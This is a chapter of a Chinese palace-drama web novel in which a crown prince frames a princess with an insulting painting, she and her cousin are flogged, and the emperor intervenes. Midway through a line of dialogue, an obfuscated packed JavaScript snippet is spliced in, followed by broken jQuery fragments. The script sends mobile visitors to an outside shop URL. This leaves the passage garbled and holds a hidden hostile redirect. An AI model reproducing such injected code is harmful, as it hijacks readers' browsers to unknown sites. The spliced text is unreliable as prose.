座下的人闻言,纷纷开始议论:

    “太子殿下竟然会给郡主求情?”

    “这郡主殿下和太子殿下莫不是有什么私下的交情?”

    “你还不知道?她们从小一起长大的,说不定情意很深呢!”

    “可这太子殿下……之前还听闻郡主殿下乐善好施,叶家世代清贫,为国为民,如此一看,竟都是假的……”

    她移目,看向刘钰。

    此时的刘钰翘着二郎腿,把玩着手中的玉佩,不过是斜眼看了她一眼,又勾了勾嘴角换了个姿势。

    叶桑水将宣纸捏出褶皱,手指泛白。

    如今想来才明白,第一轮时,刘钰第一轮并非什么都没做。

    他不仅仅是画了糊涂画,还观察到她没有落款的习惯。

    她本以为,刘钰此番为纳她做妾,该要和她一样,阻止皇后当众赐婚,这才松懈下来。

    可却没想到,他真是看到缝便钻,一点也不顾忌。

    是她太轻敌了。

    可如今,她再狡辩这画作非她所做,在众人面前也是无用。

    皇后心中定是明了的,佯装发怒,和刘钰商议好的一计。

    她能做的,只有极力抗辩,至于其余的……

    她转头,看向一旁的吴山青和林俶。

    吴山青似乎明白了什么,在人群中缓缓退下。

    “太子,你还要为她求情!”皇后气极,站起身来,“好了!谁都不要为她求情,为她求情者,一律同罪!”

    座下见皇后发怒,纷纷跪地。

    皇后气极,将桌面上的吃食一同扫落在地:“崇宁,你真会装傻,你这画的这乌龟,不是有意折辱本宫?”

    叶桑水依旧跪在地上,双手行交叉礼:

    “娘娘明鉴,此画非出自崇宁之手!”

    皇后闻言,面色却更冷了:“崇宁,你可真是有一张巧嘴,你当本宫是瞎的,这几首诗从你们手上落在我手上不过一会,众目睽睽之下,又有谁看见谁做了手脚?”

    叶桑水却不慌:“崇宁从小便熟读礼数,陛下和娘娘有目共睹,此前我和娘娘之间也从未生过龃龉,娘娘若以此为断,是否太过轻率?

    “况且,我自认词藻尚可,为何要寻这死路,这宫宴人群繁杂,偏偏挑了这副画作呈上御前,只为惹怒您?”

    “当下羞辱本宫,呈上时交错了纸也尚无不可,你若狡辩,便拿出证据来,证明是本宫冤枉了你。

    “碧桃身上,可有任何笔墨?

    “你拿不出来!但这首诗,却是你亲口承认是你自己所做!”

    皇后仰首蔑视,语气狠辣:

    “来人,崇宁郡主以下犯上,对本宫不敬,拉下去,先给本宫打二十大板!”

    “母后!母后明鉴,我信崇宁,此事定有蹊跷!”刘康道。

    “母后,崇宁做事从来稳重,对您更是敬重尊崇,她定不会做这么不着调的事情,还请母后明鉴!”刘济求情。

    “你们两觉得本宫冤枉了她?本宫是你们的母后,如今受了旁人羞辱,连罚都不能罚吗?”

    “你们,再为她求情者,同她一起,杖责二十!”

    在场的都跪坐一片,帮叶桑水求情的,都被一旁的人按了下去,一旁的素妃见状坐不住了,站起来:

    “娘娘,您莫要对一个孩子动怒,从前钰儿不也惹是生非……”

    皇后回头狠狠剜了她一眼:“如今没有你说话的份。”

    素妃被呛了回去,也知道自己身份不便,咬咬牙还是闭了嘴。

    叶桑水觉得时机成熟,便给了林俶一个眼色,想让林俶装作病发,至少能拖延一会。

    可林俶信心满满地点了点头,走上前便跪在叶桑水身边,大声喊道:

    “娘娘,此事定有隐情,请娘娘彻查!”

    叶桑水目瞪口呆。

    “表姐你疯了吗!”

    林俶转过头来,懵懂地看着叶桑水,歪了歪头。

    叶桑水想说些什么,却看见林俶身上的红疹已经蔓延到脸颊处。

    上面的人却看不清她的面容,听见还有人为叶桑水求情,喊道:

    “你又是谁家的小娘子,竟然还敢求情!”

    “五品谏议大夫林舒风之女,林俶,求皇后娘娘手下留情!”

    叶桑水心下一紧。

    “好啊!一个五品官的女儿,也敢在这撒野!我成全你!来人,将这二人拉下去,先打二十大板!”

    叶桑水没来得及说话,便被两个太监架起来带走。

    须臾,二人被带到御花园相对偏僻的地方,被架在长凳上,身侧的四五个太监,已经拿上来杖棍,正摩拳擦掌。

    叶桑水凝眉:“表姐,你不该这么莽撞,你当时便应该直接——”

    林俶非但不慌,反而朝着叶桑水笑了笑,小声说道:

    “事已至此,我们便行新计吧?

    “如今既然已经这样,倒不如我也一同受刑,到时候,正巧不用去修文馆!”

    “表姐你……你可知,这杖刑对于体弱的人,可是要一年半载才能恢复的过来的!”

    林俶还是一副了然的模样:“阿水你还是关心关心你自己吧,我的体格比你的可好——啊!”

    话还未说完,厚重的板子就落在二人的身上,林俶显然没反应过来,一下便喊出了声。

    叶桑水则是识趣的底下头,忍着痛。

    这的确是前世今生,第一次受杖刑。

    打了四板,叶桑水就觉得自己要昏厥了。

    那太监的力气,竟丝毫没有收敛,感觉是花费了十成十的力气。

    如今的叶桑水的脑海中,都是在想自己有没有的罪过这几个太监。

    正当她真的要昏厥前,却听见急促的脚步声:

    “住手!”

    叶桑水眼神恍惚,抬起头来,就看见刘秀政背着手,直直的站在自己面前,他身边站着的,是刘质。

    “去,叫御医!”

    叶桑水不顾伤痛,咬着牙爬下来,跪在刘秀政面前:

    “陛下,崇宁有冤!”

    刘秀政面色闪过一丝不悦:

    “什么事,等你伤好了再谈!”

    叶桑水只觉得不对,赶忙伏身于地:

    “陛下,求您还崇宁一个清白!”

    林俶此时也下了地:

    “陛下,郡主殿下从小知书达理,姑父对她耳提面命,悉心教导,绝不会做这样的事!还望陛下明鉴!”

    “陛下,此事有疑。”吴山青不知从哪里冒出来。

    刘秀政正要婉拒,抬头却对上刘济、刘康的目光,终有些不忍。

    “东西呢?”

    叶桑水面色苍白,抬头看见皇后娘娘带着那位公公匆匆上前,将纸交于他手中。

    刘秀政通通看了一眼,又移目光看了看叶桑水。

    “崇宁,单凭这字据,的确能断你挑视皇威这一罪,你可有什么话说?”

    叶桑水仰目看了看刘秀政手中的东西:“方才人多口杂,崇宁不敢说。

    “碧桃身上的确无任何笔墨,可太子殿下同我们一同作诗,却有能拿到笔墨的机会,第一轮殿下本就画了两只甲鱼,不如请诸位对比一下,看看这两种是否是同一人所做。”

    那公公抬眸,看了皇后一眼,皇后只面若寒雪,未回应。

    “愣着做什么!”

    听见刘秀政愠怒的声音,他才哆哆嗦嗦从方才的宴席上取出几张纸。

    “陛下,您

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920506|213446||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    英明神断,想必不用请人判断,也能看得出来!”

    刘秀政看着那张纸,缓缓点了点头,他声音带着些许怒气:“其他人先下去。”

    语毕,刘济、刘康、刘质等人便跟着下人离开,当场只留下了叶桑水和林俶。

    “让他滚过来!”

    须臾,刘钰便走了过来,已经不如之前得意,狠狠地看了叶桑水一眼。

    “刘钰,今日之事,你当如何解释?”

    刘钰扑通跪下,扯着刘秀政的衣摆:“父皇,儿臣……儿臣一时鬼迷心窍……”

    谁知道刘秀政会突然来呢,若按照他的安排,此时打了叶桑水一顿,晚些便会把这些证据全部烧毁。

    到时候,任谁来了都挑不出他的错来。

    刘秀政却不理会他,只是压了压自己的怒气,转头看向皇后:“皇后……你也看不出此事有蹊跷吗?”

    皇后倒是沉稳:”臣妾怒气上头,一时没注意,若臣妾明白,绝不会纵容钰儿的!”

    “平常你纵容他还少吗!上次那事,才过了几日?我看是我太过心软,没有重罚他!身为太子,却全然没有哥哥们沉稳,连妹妹的一半懂事都没有!”

    “还有你!我便是这么教你的吗!竟敢在众目睽睽之下陷害臣子!折辱你母后!”

    刘秀政此话一出,事态显然严重了一些,在场所有人都分明感受到了所谓的天子之怒,无人敢发声,何况是刘钰这个事中之人,更是浑身哆嗦,开始求情:

    “儿臣绝然不是想折辱母后,只是……只是儿臣与崇宁有意,怕父皇不同意,故而才如此啊!“

    叶桑水歪头看了林俶一眼,二人更是被这人的厚脸皮惊住了。

    “什么意思?”

    刘钰咽了咽口水:

    “崇宁从小便知书达理,是儿臣的典范,今日原本是想让崇宁受点错,这样,父皇才能同意给儿臣和崇宁赐婚啊。”

    “你是蠢的吗?”

    这一骂,全场无言,刘秀政当真是不知道说什么,他看了看刘钰,又看了看叶桑水。

    叶桑水如今不能再看戏了,赶忙跳出来:“我与太子殿下并无情谊……”

    刘钰闻言,这才假惺惺上前,行礼:“妹妹,是孤鲁莽了,不该如此行事,你原谅我这一回吧,日后定不会再这样了,我们的婚事,也权当孤乱言如何?”

    刘钰这是在威胁她。

    “阿水,你方才受了刑,还痛吗?”林俶上前,揽住了叶桑水的肩膀,仿佛在提醒她别忘了刚刚受的罪。

    叶桑水也顺势而下,摊倒在林俶怀中:“陛下,崇宁好痛……”

    刘钰闻言,咬咬牙:“孤把孤的那些西域名药,再加上前几日得的西域珍宝、两匹宝马,全都送你,你就原谅哥哥吧!”

    崇宁似乎觉得还不够,可看着眼前的刘秀政,只能作罢:“那崇宁先谢过殿下了,崇宁从不敢怪太子殿下,谁都有做错事的时候,今日之事,崇宁与表姐就当没发生过吧!”

    刘钰面色一喜,立马转头继续扯着刘秀政衣袍:“父皇,崇宁没事了!儿臣……儿臣对天发誓,日后再也不敢了!”

    刘秀政如今面色终于缓和,踢了刘钰一脚:

    “给我滚,滚回去!先禁足一个月!罚俸半年!婚事日后再议!”

    随后,他看向皇后:“还有你,你也回去!”

    “就这点事情,也要吾来一趟,日后再发生这件事,吾绝不轻饶!”

    刘秀政最后看了二人一眼,犀利的眼神立刻注意到林俶脸上的红疹:

    “这是怎么回事?”

    叶桑水全身一僵,赶忙将林俶的头压下去,行礼:

    “表姐她方才吃了些糕点,敏症发作,不可入目!望陛下宽恕!”